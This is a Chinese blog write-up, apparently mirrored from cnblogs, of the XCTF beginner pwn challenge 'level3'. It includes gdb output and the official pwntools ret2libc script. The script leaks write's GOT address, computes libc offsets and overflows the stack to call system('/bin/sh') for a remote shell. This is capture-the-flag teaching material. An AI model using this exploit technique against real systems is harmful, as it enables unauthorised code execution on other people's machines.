zoukankan      html  css  js  c++  java
  • 『攻防世界』:新手区 | level3

    解题先下载的文件为xxxx.gz
    $ gunzip level3.gz
    $ tar -zxvf level3.gz
    checksec level3 | file level3
    #动态链接的程

     没有canary 放进ida看一看

    没有后门函数,没有plt["system"],没有next(elf.search("/bin/sh")),但是有一个栈溢出漏洞

     同时下载的文件还附赠了libc文件一份,我觉的可以用程序中的write的地址和lic文件中的write地址计算出地址的偏移量,再通过偏移量得到/bin/sh 和 system在程序中的地址再构造payload 也许可以得到服务器的shell。

    发现开启了所有保护,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。

    先看看溢出需要填充的垃圾数据长度,gdb动态调试一下:得出垃圾数据长度为136+4

    04:0010│ ecx  0xffffc160 ◂— 'AAAA
    '
    05:00140xffffc164 ◂— 0xa /* '
    ' */
    ````
    25:00940xffffc1e4 —▸ 0xffffc2a4 —▸ 0xffffc3d5 ◂— '/home/zowie/Downloads/level3'
    26:0098│ ebp  0xffffc1e8 —▸ 0xffffc1f8 ◂— 0x0

    很痛苦,一直没有调试出来。查看了下writeup,和我思路是一样的,但是就是我的完成不了(官方wp下次再试,网站不能获取场景)

     这里贴上官方的wp

     1 #思路:程序流程非常简单,可以突破的点只有read函数。通过覆盖返回地址,执行两次main函数。第一次泄漏write函数的地址,第二次执行system函数。
     2 
     3 #导入pwn模块
     4 from pwn import *
     5 
     6 #获取远程进程对象
     7 p=remote('',)
     8 
     9 #获取本地进程对象
    10 #p = process("./level3/level3")
    11 
    12 #获取文件对象
    13 elf=ELF('./level3')
    14 
    15 #获取lib库对象
    16 libc = ELF('./libc_32.so.6')
    17 
    18 #获取函数
    19 write_plt=elf.plt['write']
    20 write_got=elf.got['write']
    21 main_addr=elf.sym['main']
    22 
    23 #接收数据
    24 p.recvuntil(":
    ")
    25 
    26 #char[88] ebp  write函数地址  write函数返回地址(返回到main函数)  write函数参数一(1)  write函数参数二(write_got地址)  write函数参数三(写4字节)
    27 payload=0x88*'a'+p32(0xdeadbeef)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
    28 p.sendline(payload)
    29 
    30 #获取write在got中的地址
    31 write_got_addr=u32(p.recv())
    32 print hex(write_got_addr)
    33 
    34 #计算lib库加载基址
    35 libc_base=write_got_addr-libc.sym['write']
    36 print hex(libc_base)
    37 
    38 #计算system的地址
    39 system_addr = libc_base+libc.sym['system']
    40 print hex(system_addr)
    41 
    42 #计算字符串 /bin/sh 的地址。0x15902b为偏移,通过命令:strings -a -t x libc_32.so.6 | grep "/bin/sh" 获取
    43 bin_sh_addr = libc_base + 0x15902b
    44 print hex(bin_sh_addr)
    45 
    46 #char[88] ebp system system函数的返回地址 system函数的参数(bin_sh_addr)
    47 payload2=0x88*'a'+p32(0xdeadbeef)+p32(system_addr)+p32(0x11111111)+p32(bin_sh_addr)
    48 
    49 #接收数据
    50 p.recvuntil(":
    ")
    51 
    52 #发送payload
    53 p.sendline(payload2)
    54 
    55 #切换交互模式
    56 p.interactive()
  • 相关阅读:
    gitlab centos 安装配置运维笔记
    CentOS 7 升级内核 Kernel
    VMware 桥接模式 复制物理网络连接状态的作用
    diskpart setid value list
    怎样判断Windows的DPI大小?
    Camtasia Studio 6录制视频时鼠标闪烁的解决办法
    ssh的各个jar包作用
    MyEclipse优化技巧
    Struts详细用法
    Ajax的readyState和status属性
  • 原文地址:https://www.cnblogs.com/Zowie/p/13391995.html
Copyright © 2011-2022 走看看